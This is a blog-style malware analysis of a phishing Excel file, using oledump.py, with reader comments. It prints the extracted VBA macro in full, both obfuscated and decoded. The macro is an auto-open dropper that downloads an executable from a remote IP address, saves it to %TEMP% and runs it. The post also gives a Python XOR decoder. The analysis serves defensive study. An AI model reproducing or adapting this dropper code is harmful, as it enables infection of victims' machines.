Analyzing a malicious Excel file with oledump.py

Some time ago, I came across a video of Didier Stevens in my Twitter TL. In that video, he was using a tool called oledump.py to analyze MS Office files. Since I watched the video, I have been looking forward to using it with a real sample.
And that time has finally come. A few days ago, we received at work a phishing e-mail with a suspicious Excel document attached to it. At the moment of the collection of the sample, it had already been uploaded to VT, but it had very few detections (just a couple of AVs, if I remember correctly).
Having the program running is as simple as extracting the file dowloaded from Didier’s website and installing the missing libraries. In my clean system I just needed to install OleFileIO_PL.
The file I used for the analysis is the following:

Name: ID_19269H.xls
md5: 061930c8fc246872dda3af5670d3ea44
sha1: 3fd10dce17b9a58b70da501559c313ae7f5bc31e
sha256: 2782e050ae9f979dd1d78ac21907164b3162ecb47c905825e16b736f636bdfd8

You can find this sample available for downloading in VT and malwr.

If you take a close look at the analysis in malwr.com, you will see that there are no dropped files or network activity… then, what does this file do?

xgusix$ ./oledump.py ID_19269H.xls
 1:      104 'x01CompObj'
 2:      256 'x05DocumentSummaryInformation'
 3:      228 'x05SummaryInformation'
 4:     4372 'Workbook'
 5:      583 '_VBA_PROJECT_CUR/PROJECT'
 6:       83 '_VBA_PROJECT_CUR/PROJECTwm'
 7: M    976 '_VBA_PROJECT_CUR/VBA/????1'
 8: M    976 '_VBA_PROJECT_CUR/VBA/????2'
 9: M    976 '_VBA_PROJECT_CUR/VBA/????3'
10: M 184500 '_VBA_PROJECT_CUR/VBA/????????'
11:     7176 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
12:     1406 '_VBA_PROJECT_CUR/VBA/__SRP_0'
13:      212 '_VBA_PROJECT_CUR/VBA/__SRP_1'
14:      456 '_VBA_PROJECT_CUR/VBA/__SRP_2'
15:      385 '_VBA_PROJECT_CUR/VBA/__SRP_3'
16:      550 '_VBA_PROJECT_CUR/VBA/dir'

Oledump shows us sixteen objects, four of which (7, 8, 9, and 10) contain macros. From these four objects, we are only interested in object 10, since the other three objects don’t contain any interesting macros.
The next step is to extract that macro and dump it into a file. We can do that by using oledump again. To do so, we need the following command:

xgusix$ ../Documents/MW Analysis/oledump.py ID_19269H.xls -s 10 -v > macro10.vbs.txt

The extracted code is obfuscated by a lot of comments, if sentences whose conditions are never met, etc.
After cleaning the code a bit, we get very few lines of useful code:

Attribute VB_Name = "ÝòàÊíèãà"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Auto_Open()
    funct_1
End Sub


Sub AutoOpen()
    Auto_Open
End Sub


Sub Workbook_Open()
        Auto_Open
End Sub



Function IMUIYYHSENO(ByVal GEDIDDOFCEM As String, ByVal SVSFBJWJRZL As String) As Boolean
    Dim TJOBKMBJGJF As Object, YPJANLORALH As Long, WTYQSWXVUVO As Long, UKUUBTBDTYD() As Byte


    Set TJOBKMBJGJF = CreateObject("MSXML2.XMLHTTP")
    TJOBKMBJGJF.Open "GET", GEDIDDOFCEM, False
    TJOBKMBJGJF.Send "dfg"


    UKUUBTBDTYD = TJOBKMBJGJF.responseBody

    WTYQSWXVUVO = FreeFile
    Open SVSFBJWJRZL For Binary As #WTYQSWXVUVO

    Put #WTYQSWXVUVO, , UKUUBTBDTYD

    Close #WTYQSWXVUVO

    Set object_Shell.Application = CreateObject(XORI(Hextostring("3539120A3D592721070A381407251E093F"), Hextostring("665177")))
    object_Shell.Application.Open Environ(XORI(Hextostring("10072609"), Hextostring("44426B59736A61"))) & XORI(Hextostring("252426013D3C3D123523271E570D1031"), Hextostring("79686854"))

    Set TJOBKMBJGJF = Nothing     
End Function

Sub funct_1()
    FUYvhbjkgUYV = XORI(Hextostring("3E021E18585B5E624744584C415F674552525A44496659191C03005E3A1A0E46121C01"), Hextostring("56766A68627471"))

    IMUIYYHSENO FUYvhbjkgUYV, Environ(XORI(Hextostring("38222A36"), Hextostring("6C6767666B55"))) & XORI(Hextostring("09362F192732003C2D072C2C7B1F1929"), Hextostring("557A614C6366"))
End Sub

Public Function XORI(ByVal xoriarg1 As String, ByVal xoriarg2 As String) As String
    Dim xoricount1 As Long
    For xoricount1 = 1 To Len(xoriarg1)    
        XORI = XORI & Chr(Asc(Mid(xoriarg2, IIf(xoricount1 Mod Len(xoriarg2) <> 0, xoricount1 Mod Len(xoriarg2), Len(xoriarg2)), 1)) Xor Asc(Mid(xoriarg1, xoricount1, 1)))
    Next xoricount1
End Function

Public Function Hextostring(ByVal h2s-str-arg1 As String) As String
    Dim h2s-str-1 As String
    Dim h2s-str-2 As String
    Dim h2s-long-1 As Long
    For h2s-long-1 = 1 To Len(h2s-str-arg1) Step 2

        h2s-str-1 = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(h2s-str-arg1, h2s-long-1, 2)))
        h2s-str-2 = h2s-str-2 & h2s-str-1

    Next h2s-long-1
    Hextostring = h2s-str-2
End Function

Basically, funct_1 calls the function IMUIYYHSENO where it seems there is some kind of network activity (lines 29-31) and some work with files (line 36).

There are also two functions that are used to decode the strings used in the file: Hextostring and XORI. They actually do what they say: the former does an hex to string conversion, and the latter performs a XOR operation on the first argument with the second argument. These two functions can be implemented in a few lines of python as follows:

a = string1
b = string2
binary_a = a.decode("hex")
binary_b = b.decode("hex")


def xor_strings(xs, ys):
	xored = ""
	for i in range(0,len(xs),len(ys)):
		
		ini = i
		end = i+len(ys)
		print i

		for x, y in zip(xs[ini:end], ys):
			print xs[ini:end]
			print "x: %s/%s" % (x, x.encode("hex"))
			print "y: %s/%s" % (y, y.encode("hex"))
			xored += chr(ord(x) ^ ord(y))
	return xored

xored = xor_strings(binary_a, binary_b).encode("hex")
print xored

After decoding the strings and renaming some things (function IMUIYYHSENO is called dropper now), the code is cleaner and we can perfectly see what this Excel file is really doing:

Function Dropper(ByVal url As String, ByVal SVSFBJWJRZL As String) As Boolean
    Dim connection As Object, YPJANLORALH As Long, WTYQSWXVUVO As Long, UKUUBTBDTYD() As Byte


    Set connection = CreateObject("MSXML2.XMLHTTP")
    connection.Open "GET", url, False
    connection.Send "dfg"


    UKUUBTBDTYD = connection.responseBody

    WTYQSWXVUVO = FreeFile
    Open SVSFBJWJRZL For Binary As #WTYQSWXVUVO

    Put #WTYQSWXVUVO, , UKUUBTBDTYD

    Close #WTYQSWXVUVO

    Set object_Shell.Application = CreateObject(Shell.Application)
    object_Shell.Application.Open Environ(TEMP) & "LNUDTUFLKOJ.exe"

    Set connection = Nothing
     
End Function

Sub funct_1()
    url = "http://41.0.5.138:8080/stat/lld.php"
    Dropper url, Environ(TEMP) & LNUDTUFLKOJ.exe
End Sub

It connects to the URL hxxp://41.0.5.138:8080/stat/lld.php, and writes the downloaded file in %TEMP%LNUDTUFLKOJ.exe. Afterwards, it executes the file.

The dropped file is a Windows executable file with md5 d238c1dab76a4336db727cdcbdcfc13 and, when I downloaded it, it was already in VT with more than half of the AVs detecting it.

This was an interesting exercise. I could finally use oledump and, as it seems that the use of macros as an infection vector is now trendy, I was able to see first-hand how the malware has been acting for the past few months.

NOTE: While I was writing this article, Didier released new features for oledump.py. You can check them up on his timeline or on the following links:
1, 2, 3, 4
I am really looking forward to exploring the possibilities that the new YARA support brings!

4 comments

  1. DawnWJPDewhuya · December 14, 2014

    Admiring the commitment you put into your website and in depth information you offer. It’s great to come across a blog every once in a while that isn’t the same out of date rehashed information. Fantastic read! I’ve saved your site and I’m including your RSS feeds to my Google account.

  2. Bkoenig · December 14, 2014

    I just wanted to thank you for this analysis and offer an enhancement to your script. I modified the ‘a = string1’ to ‘a – raw_input(“Please enter a: “)’, and the same for b, this way you don’t have to edit the script each time you run it. Also the output is Hex that needs to be converted to ascii, which I did by modifying the last lines in the script as follows:

    ….
    xored = xor_strings(binary_a, binary_b).encode(“hex”)
    hexed = xored.decode(“hex”)
    print “Hex_Output: %s” % xored
    print “Ascii_Output: %s” % hexed
    …..

    With the above it will output as follows:
    $python /tmp/decrypt.py
    Please enter a: 3539120A3D592721070A381407251E093F
    Please enter b: 665177
    Hex_Output: 5368656c6c2e4170706c69636174696f6e
    Ascii_Output: Shell.Application

    Hope this helps you as it certainly helped me.
    -Ben.

  3. Pingback: OfuscaciĆ³n de malware en macros de MS Office
  4. Jose · December 14, 2014

    One question when you will finish your articles of securityinsider you are very nice and it’s useful for learning more about security thx